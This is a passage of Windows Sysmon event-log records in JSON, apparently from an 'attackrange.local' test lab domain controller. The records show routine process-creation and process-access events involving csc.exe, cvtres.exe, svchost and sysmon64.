AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-0010C8440800}\r\nTargetProcessId: 1516\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-0010C8440800}","TargetProcessId":"1516","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.589\r\nProcessGuid: {90617006-416F-5F2D-0000-001050480800}\r\nProcessId: 4108\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES617B.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\CSC748032A7776E4E3B89ADEBF82B784528.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-416F-5F2D-0000-0010C8440800}\r\nParentProcessId: 1516\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.589","ProcessGuid":"{90617006-416F-5F2D-0000-001050480800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES617B.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\CSC748032A7776E4E3B89ADEBF82B784528.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-416F-5F2D-0000-0010C8440800}","ParentProcessId":"1516","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.cmdline\"","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-416F-5F2D-0000-0010C8440800}\r\nSourceProcessId: 1516\r\nSourceThreadId: 2900\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-416F-5F2D-0000-0010C8440800}","SourceProcessId":"1516","SourceThreadId":"2900","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 